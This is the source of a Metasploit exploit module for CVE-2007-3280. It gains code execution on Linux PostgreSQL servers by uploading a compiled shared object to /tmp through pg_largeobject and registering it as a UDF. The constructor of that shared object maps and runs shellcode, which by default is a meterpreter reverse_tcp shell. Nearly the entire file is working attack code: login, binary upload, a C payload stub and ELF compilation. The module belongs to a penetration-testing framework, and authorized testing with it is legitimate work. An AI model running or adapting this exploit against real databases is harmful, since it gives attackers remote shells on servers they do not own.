## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Postgres include Msf::Auxiliary::Report include Msf::OptionalSession::PostgreSQL def initialize(info = {}) super( update_info( info, 'Name' => 'PostgreSQL for Linux Payload Execution', 'Description' => %q{ On some default Linux installations of PostgreSQL, the postgres service account may write to the /tmp directory, and may source UDF Shared Libraries from there as well, allowing execution of arbitrary code. This module compiles a Linux shared object file, uploads it to the target host via the UPDATE pg_largeobject method of binary injection, and creates a UDF (user defined function) from that shared object. Because the payload is run as the shared object's constructor, it does not need to conform to specific Postgres API versions. }, 'Author' => [ 'midnitesnake', # this Metasploit module 'egypt', # on-the-fly compiled .so technique 'todb', # original windows module this is based on 'lucipher' # updated module to work on Postgres 8.2+ ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2007-3280' ], [ 'URL', 'https://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt' ] ], 'Platform' => 'linux', 'Payload' => { 'Space' => 65535, 'DisableNops' => true }, 'Targets' => [ [ 'Linux x86', { 'Arch' => ARCH_X86, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' } } ], [ 'Linux x86_64', { 'Arch' => ARCH_X64, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => '2007-06-05', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK], 'Reliability' => [REPEATABLE_SESSION] } ) ) deregister_options('SQL', 'RETURN_ROWSET') end def check version = postgres_fingerprint if version[:auth] return CheckCode::Appears end CheckCode::Safe("Authentication failed. #{version[:preauth] || version[:unknown]}") end def exploit self.postgres_conn = session.client if session version = do_login(username, password, database) case version when :noauth print_error 'Authentication failed' return when :noconn print_error 'Connection failed' return else print_status("#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{version}") end fname = "/tmp/#{Rex::Text.rand_text_alpha(8)}.so" unless postgres_upload_binary_data(payload_so(fname), fname) fail_with(Failure::Unknown, 'Could not upload the UDF shared object file') end print_status("Uploaded as #{fname}, should be cleaned up automatically") begin func_name = Rex::Text.rand_text_alpha(10) postgres_query( "create or replace function pg_temp.#{func_name}()" \ " returns void as '#{fname}','#{func_name}' language c strict immutable" ) rescue RuntimeError => e print_error("Failed to create UDF function: #{e.class}: #{e}") end postgres_logout if @postgres_conn && session.blank? end # Authenticate to the postgres server. # # Returns the version from #postgres_fingerprint def do_login(user = nil, pass = nil, database = nil) password = pass || postgres_password vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}") unless postgres_conn result = postgres_fingerprint( db: database, username: user, password: password ) if result[:auth] report_service( host: postgres_conn.peerhost, port: postgres_conn.peerport, name: 'postgres', info: result.values.first ) return result[:auth] else print_error("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}") return :noauth end rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError return :noconn end def payload_so(filename) shellcode = Rex::Text.to_hex(payload.encoded, '\\x') # shellcode = "\\xcc" c = %^ int _exit(int); int printf(const char*, ...); int perror(const char*); void *mmap(int, int, int, int, int, int); void *memcpy(void *, const void *, int); int mprotect(void *, int, int); int fork(); int unlink(const char *pathname); #define MAP_PRIVATE 2 #define MAP_ANONYMOUS 32 #define PROT_READ 1 #define PROT_WRITE 2 #define PROT_EXEC 4 #define PAGESIZE 0x1000 typedef struct _Pg_magic_struct { int len; int version; int funcmaxargs; int indexmaxkeys; int namedatalen; int float4byval; int float8byval; } Pg_magic_struct; extern const Pg_magic_struct *PG_MAGIC_FUNCTION_NAME(void); const Pg_magic_struct * PG_MAGIC_FUNCTION_NAME(void) { static const Pg_magic_struct Pg_magic_data = {sizeof(Pg_magic_struct), 804, 100, 32, 64, 1, 1}; return &Pg_magic_data; } char shellcode[] = "#{shellcode}"; void run_payload(void) __attribute__((constructor)); void run_payload(void) { int (*fp)(); fp = mmap(0, PAGESIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); memcpy(fp, shellcode, sizeof(shellcode)); if (mprotect(fp, PAGESIZE, PROT_READ|PROT_WRITE|PROT_EXEC)) { _exit(1); } if (!fork()) { fp(); } unlink("#{filename}"); return; } ^ cpu = case target_arch.first when ARCH_X86 then Metasm::Ia32.new when ARCH_X64 then Metasm::X86_64.new end payload_so = Metasm::ELF.compile_c(cpu, c, 'payload.c') payload_so.encode_string(:lib) end end